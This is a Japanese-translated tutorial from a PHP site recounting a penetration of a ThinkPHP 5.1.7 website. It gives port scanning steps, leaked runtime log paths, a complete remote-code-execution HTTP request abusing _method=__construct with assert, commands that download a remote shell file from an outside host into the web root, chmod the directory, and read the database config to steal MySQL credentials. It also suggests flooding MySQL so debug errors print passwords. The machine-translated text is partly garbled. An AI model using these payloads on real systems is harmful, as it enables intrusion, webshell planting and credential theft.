ホームページ >PHPフレームワーク >ThinkPHP >ThinkPHP フレームワークの実践的な浸透を思い出してください。
次のthinkphp フレームワークチュートリアル コラムでは、ThinkPHP フレームワークの実践的な理解を共有します。困っている友人の役に立てば幸いです。
Web サイト http://x.x.x.x/ を見つけて侵入を開始します
まず、nmap を使用して、被害サーバーに対して開いているポートをスキャンして検出します。ポート
開いているポートは次のように表示されます。
ポートは、コンピュータ通信におけるアプリケーションの一意の識別 ID です。ポートを通じて、被害者サーバーによってどのようなサービスが開かれているかを知ることができます。
たとえば、3306 は mysql であり、外部接続が有効になっています。次に、ポート アクセスをチェックして、どのようなサービスが開かれているかを確認します。
8080 が phpmyadmin を開きました。PHP 接続の mysql ツールを使用して、mysql パスワードを解析できます
#8082 はローンのホームページです#既存のルートではない任意の番号を入力し、http://x.x.x.x/gfvhf
# などのエラー メッセージを確認します。 成功エラー: バージョンthinkphp フレームワークのバージョンは 5.1.7 です (このバージョンにはインジェクションの脆弱性があります)
8084 は、
## を収集し続けるバックグラウンドです。
#8092 は背景です。展開が標準化されていないため、thinkphp のログ漏洩があり、パスは http://x.x.x.x:8092/runtime/log/202112/19.log であるアカウントとパスワードを確認できます。管理者がログインしました。ここではthinkphpフレームワークを使ったブラックプロダクトについて話しますが、運用保守が中途半端なのでthinkphpのログが漏洩する可能性が非常に高いです
tp5-6 payload:domain name/runtime/log/202112/19.log (
次の 202112/19.log は現在の日付に基づいて変更されます)
tp3 ペイロード: ドメイン名/Application/Runtime/Logs/ Home/21_12_19.log (次の 21_12_19.log は による)
########情報収集完了、精密攻撃######げっぷを開いて使用パケットをキャプチャし、そのデータ パケットを burp のリピータ モジュールに転送してパケットの内容をキャプチャします 以下の内容に置き換えます ###### 脆弱性の原理については詳しく説明しません PHP アーキテクチャ層は理解できませんそれ。簡単に説明すると、変数の上書きによりコードが実行されるということです。######Thinkphp5 の脆弱性 poc については、https://y4er.com/post/thinkphp5-rce/######次のパケットの内容を参照してください。脆弱性をトリガーし、サーバーに phpinfo()###
POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod### を実行させることです。実行は成功し、php################の書き込みを開始します。 ## #
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1###これは、サーバー上のリモート シェル ファイル http://x.x.x.x/2.txt をダウンロードし、現在の Web ディレクトリの t2.php に書き込むことを意味します## ####しかし、t2.php にアクセスすると、404 が表示される場合、現在のディレクトリに書き込み権限がないことを意味すると思います。######そこで、書き込み権限を与えようとしました:###
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1## #シェルをまだ作成できず、PHP のアクセス許可が非常に低いことがわかりました。 ######データベース構成ファイルを読み取るには、chmod('./',0777) を readfile('../application/database.php') に置き換えます。 mysqlアカウントのパスワードが正常に取得できたことが分かりました。 ###############前に発見した phpmyadmin サービスを使用してログインし、mysql を開いて外部接続します。######mysql 管理ツールを使用して接続し、多数のファイルを検索します。データベース。また、mysql には root 権限が直接与えられており、サーバーを昇格させる (イントラネットへの横方向の侵入) ことができます。いずれにせよ、外部ネットワークによって突破口が開かれたので、ここでは詳しく説明しません。 ############
私が自分で考え出したアイデアのいくつかを要約します。 thinkphp がデバッグ モードをオンにし、サーバーがデータベースの外部接続をオンにすると、mysql サービスを爆発させることによって大量のリクエストを送信できます ( mysql をブロックさせます)、mysql への thinkphp 接続がタイムアウトすると、接続例外エラーが報告され、mysql アカウントのパスワードがページに出力されます。
推奨学習: 「thinkphp ビデオ チュートリアル 」
以上がThinkPHP フレームワークの実践的な浸透を思い出してください。の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。